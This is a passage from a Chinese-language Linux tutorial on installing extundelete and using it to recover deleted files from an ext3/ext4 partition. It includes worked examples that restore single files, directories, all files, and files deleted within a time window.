在 Linux下,基于开源的数据恢复工具有很多,常见的有debugfs、R-Linux、ext3grep、extundelete等,比较常用的有 ext3grep和extundelete,这两个工具的恢复原理基本一样,只是extundelete功能更加强大,本文重点介绍 extundelete的使用。

三、extundelete的恢复原理

在介绍使用extundelete进行恢复数据之前,简单介绍下关于inode的知识。在Linux下可以通过“ls –id”命令来查看某个文件或者目录的inode值,例如查看根目录的inode值,可以输入:

1
2
[root@cloud1 ~]# ls -id  / 
2 /

由此可知,根目录的inode值为2。

在 利用extundelete恢复文件时并不依赖特定文件格式,首先extundelete会通过文件系统的inode信息(根目录的inode一般为2) 来获得当前文件系统下所有文件的信息,包括存在的和已经删除的文件,这些信息包括文件名和inode。然后利用inode信息结合日志去查询该inode 所在的block位置,包括直接块,间接块等信息。最后利用dd命令将这些信息备份出来,从而恢复数据文件。

四、 安装extundelete

extundelete 的官方网站是http://extundelete.sourceforge.net/ ,其目前的稳定版本是extundelete-0.2.4。,在安装extundelete之前需要安装e2fsprogs和e2fsprogs- libs两个依赖包。

e2fsprogs和e2fsprogs-libs安装非常简单,这里不做介绍。下面是extundelete的编译安装过程:

1
2
3
4
5
[root@cloud1 app]#tar jxvf  extundelete-0.2.4.tar.bz2
[root@cloud1 app]#cd extundelete-0.2.4
[root@cloud1 extundelete-0.2.4]#./configure
[root@cloud1 extundelete-0.2.4]#make
[root@cloud1 extundelete-0.2.4]#make install

成功安装extundelete后,会在系统中生成一个extundelete可执行文件。extundelete的使用非常简单,读者可以通过“extundelete  –help”获得此软件的使用方法。

五、extundelete用法详解

extundelete安装完成后,就可以执行数据恢复操作了,本节详细介绍下extundelete每个参数的含义。extundelete用法如下:

extundelete –help

命令格式:

1
extundelete [options] [action] device-file

其中参数(options)有:

–version, -[vV],显示软件版本号。

–help,显示软件帮助信息。

–superblock,显示超级块信息。

–journal,显示日志信息。

–after dtime,时间参数,表示在某段时间之后被删的文件或目录。

–before dtime,时间参数,表示在某段时间之前被删的文件或目录。

动作(action)有:

–inode ino,显示节点“ino”的信息。

–block blk,显示数据块“blk”的信息。

–restore-inode ino[,ino,…],恢复命令参数,表示恢复节点“ino”的文件,恢复的文件会自动放在当前目录下的RESTORED_FILES文件夹中,使用节点编号作为扩展名。

–restore-file ‘path’,恢复命令参数,表示将恢复指定路径的文件,并把恢复的文件放在当前目录下的RECOVERED_FILES目录中。

–restore-files ‘path’,恢复命令参数,表示将恢复在路径中已列出的所有文件。

–restore-all,恢复命令参数,表示将尝试恢复所有目录和文件。

-j journal,表示从已经命名的文件中读取扩展日志。

-b blocknumber,表示使用之前备份的超级块来打开文件系统,一般用于查看现有超级块是不是当前所要的文件。

-B blocksize,表示使用数据块大小来打开文件系统,一般用于查看已经知道大小的文件。

六、实战:extundelete恢复数据的过程

在 数据被误删除后,第一时间要做的是卸载被删除数据所在的磁盘或磁盘分区,如果是系统根分区的数据遭到误删除,就需要将系统进入单用户,并且将根分区以只读 模式挂载。这样做的原因很简单,因为将文件删除后,仅仅是将文件的inode结点中的扇区指针清零,实际文件还存储在磁盘上,如果磁盘以读写模式挂载,这 些已删除的文件的数据块就可能被操作系统重新分配出去,在这些数据块被新的数据覆盖后,这些数据就真的丢失了,恢复工具也回力无天。所以,以只读模式挂载 磁盘可以尽量降低数据块中数据被覆盖的风险,以提高恢复数据成功的比率。

6.1通过extundelete恢复单个文件

1.模拟数据误删除环境

在演示通过extundelete恢复数据之前,我们首先要模拟一个数据误删除环境,这里我们以ext3文件系统为例,在ext4文件系统下的恢复方式与此完全一样。简单的模拟操作过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@cloud1 ~]#mkdir /data
[root@cloud1 ~]#mkfs.ext3 /dev/sdc1
[root@cloud1 ~]#mount /dev/sdc1  /data
[root@cloud1 ~]# cp /etc/passwd  /data
[root@cloud1 ~]# cp -r /app/ganglia-3.4.0  /data
[root@cloud1 ~]# mkdir /data/test
[root@cloud1 ~]# echo "extundelete test" > /data/test/mytest.txt
[root@cloud1 ~]#cd /data
[root@cloud1 data]# md5sum  passwd 
0715baf8f17a6c51be63b1c5c0fbe8c5  passwd
[root@cloud1 data]# md5sum  test/mytest.txt 
eb42e4b3f953ce00e78e11bf50652a80  test/mytest.txt
[root@cloud1 data]# rm -rf /data/*

2.卸载磁盘分区

在将数据误删除后,立刻需要做的就是卸载这块磁盘分区:

1
2
[root@cloud1 data]#cd /mnt
[root@cloud1 mnt]# umount /data

3.查询可恢复的数据信息

通过extundelete命令可以查询/dev/sdc1分区可恢复的数据信息:

1
2
3
4
5
6
7
8
9
[root@cloud1 /]# extundelete  /dev/sdc1  --inode 2
......
File name                                       | Inode number | Deleted status
.                                                2
..                                                2
lost+found                                        11             Deleted
passwd                                           49153          Deleted
test                                              425985         Deleted
ganglia-3.4.0                                       245761         Deleted

根据上面的输出,标记为Deleted状态的是已经删除的文件或目录。同时还可以看到每个已删除文件的inode值,接下来就可以恢复文件了。

4.恢复单个文件

执行如下命令开始恢复文件:

1
2
3
4
5
6
7
8
9
[root@cloud1 /]# extundelete  /dev/sdc1  --restore-file passwd 
Loading filesystem metadata ... 40 groups loaded.
Loading journal descriptors ... 54 descriptors loaded.
Successfully restored file passwd
[root@cloud1 /]# cd RECOVERED_FILES/
[root@cloud1 RECOVERED_FILES]# ls
passwd
[root@cloud1 RECOVERED_FILES]# md5sum  passwd 
0715baf8f17a6c51be63b1c5c0fbe8c5  passwd

extundelete 恢复单个文件的参数是“–restore-file”,这里需要注意的是,“–restore-file”后面指定的是恢复文件路径,这个路径是文件 的相对路径。相对路径是相对于原来文件的存储路径而言的,比如,原来文件的存储路径是/data/passwd,那么在参数后面直接指定passwd文件 即可,如果原来文件的存储路径是/data/test/mytest.txt,那么在参数后面通过“test/mytest.txt”指定即可。

在文件恢复成功后,extundelete命令默认会在执行命令的当前目录下创建一个RECOVERED_FILES目录,此目录用于存放恢复出来的文件,所以执行extundelete命令的当前目录必须是可写的。

根据上面的输出,通过md5sum命令校验,校验码与之前的完全一致,表明文件恢复成功。

6.2通过extundelete恢复单个目录

extundelete除了支持恢复单个文件,也支持恢复单个目录,在需要恢复目录时,通过 “–restore-directory”选项即可恢复指定目录的所有数据。

继续在上面模拟的误删除数据环境下操作,现在要恢复/data目录下的ganglia-3.4.0文件夹,操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
[root@cloud1 mnt]# extundelete  /dev/sdc1  --restore-directory /ganglia-3.4.0
Loading filesystem metadata ... 40 groups loaded.
Loading journal descriptors ... 247 descriptors loaded.
Searching for recoverable inodes in directory /ganglia-3.4.0 ... 
781 recoverable inodes found.
Looking through the directory structure for deleted files ... 
4 recoverable inodes still lost.
[root@cloud1 mnt]# ls
RECOVERED_FILES
[root@cloud1 mnt]# cd RECOVERED_FILES/
[root@cloud1 RECOVERED_FILES]# ls
ganglia-3.4.0

可以看到之前删除的目录ganglia-3.4.0已经成功恢复了,进入这个目录检查发现:所有文件内容和大小都正常。

6.3 通过extundelete恢复所有误删除数据

当需要恢复的数据较多时,一个个地指定文件或目录将是一个非常繁重和耗时的工作,不过,extundelete考虑到了这点,此时可以通过“–restore-all”选项来恢复所有被删除的文件或文件夹。

仍然在上面模拟的误删除数据环境下操作,现在要恢复/data目录下所有数据,操作过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[root@cloud1 mnt]# extundelete  /dev/sdc1 --restore-all
Loading filesystem metadata ... 40 groups loaded.
Loading journal descriptors ... 247 descriptors loaded.
Searching for recoverable inodes in directory / ... 
781 recoverable inodes found.
Looking through the directory structure for deleted files ... 
0 recoverable inodes still lost.
[root@cloud1 mnt]# ls
RECOVERED_FILES
[root@cloud1 mnt]# cd RECOVERED_FILES/
[root@cloud1 RECOVERED_FILES]# ls
ganglia-3.4.0  passwd  test
[root@cloud1 RECOVERED_FILES]# du -sh  /mnt/RECOVERED_FILES/*
15M     /mnt/RECOVERED_FILES/ganglia-3.4.0
4.0K    /mnt/RECOVERED_FILES/passwd
8.0K    /mnt/RECOVERED_FILES/test

可以看到所有数据全部完整地恢复了。

6.4通过extundelete恢复某个时间段的数据

有 时候删除了大量的数据量,其中很多数据都是没用的,我们仅需要恢复其中的一部分数据,此时,如果采用恢复全部数据的办法,不但耗时,而且浪费资源,在这种 情况下,就需要采用另外的一种恢复机制有选择地恢复,extundelete提供了“—after”“和”–before“参数,可以通过指定某个时间 段,进而只恢复这个时间段内的数据。

下面通过一个简单示例,描述下如何恢复某个时间段内的数据。

我们首先假定在/data目录下有个刚刚创建的压缩文件ganglia-3.4.0.tar.gz,然后删除此文件,接着卸载/data分区,开始恢复一小时内的文件,操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@cloud1 ~]#cd /data/
[root@cloud1 data]# cp /app/ganglia-3.4.0.tar.gz  /data
[root@cloud1 data]# date +%s
1379150309
[root@cloud1 data]# rm -rf ganglia-3.4.0.tar.gz
[root@cloud1 data]# cd /mnt
[root@cloud1 mnt]# umount /data
[root@cloud1 mnt]# date +%s
1379150340
[root@cloud1 mnt]# extundelete  --after 1379146740 --restore-all /dev/sdc1
Only show and process deleted entries if they are deleted on or after 1379146740 and before 9223372036854775807.
Loading filesystem metadata ... 40 groups loaded.
Loading journal descriptors ... 247 descriptors loaded.
Searching for recoverable inodes in directory / ... 
779 recoverable inodes found.
[root@cloud1 mnt]#  cd RECOVERED_FILES/
[root@cloud1 RECOVERED_FILES]# ls
ganglia-3.4.0.tar.gz

可 以看到,刚才删除的文件,已经成功恢复,而在/data目录下还有很多被删除的文件却没有恢复,这就是”–after“参数控制的结果,因为/data 目录下其他文件都是在一天之前删除的,而我们恢复的是一个小时之内被删除的文件,这就是没有恢复其他被删除文件的原因。

在这个操作过程中, 需要注意是“–after”参数后面跟的时间是个总秒数。起算时间为“1970-01-01 00:00:00 UTC”,通过“date +%s”命令即可将当前时间转换为总秒数,因为恢复的是一个小时之内的数据,所以“1379146740”这个值就是通过“1379150340”减去 “60*60=3600”获得的。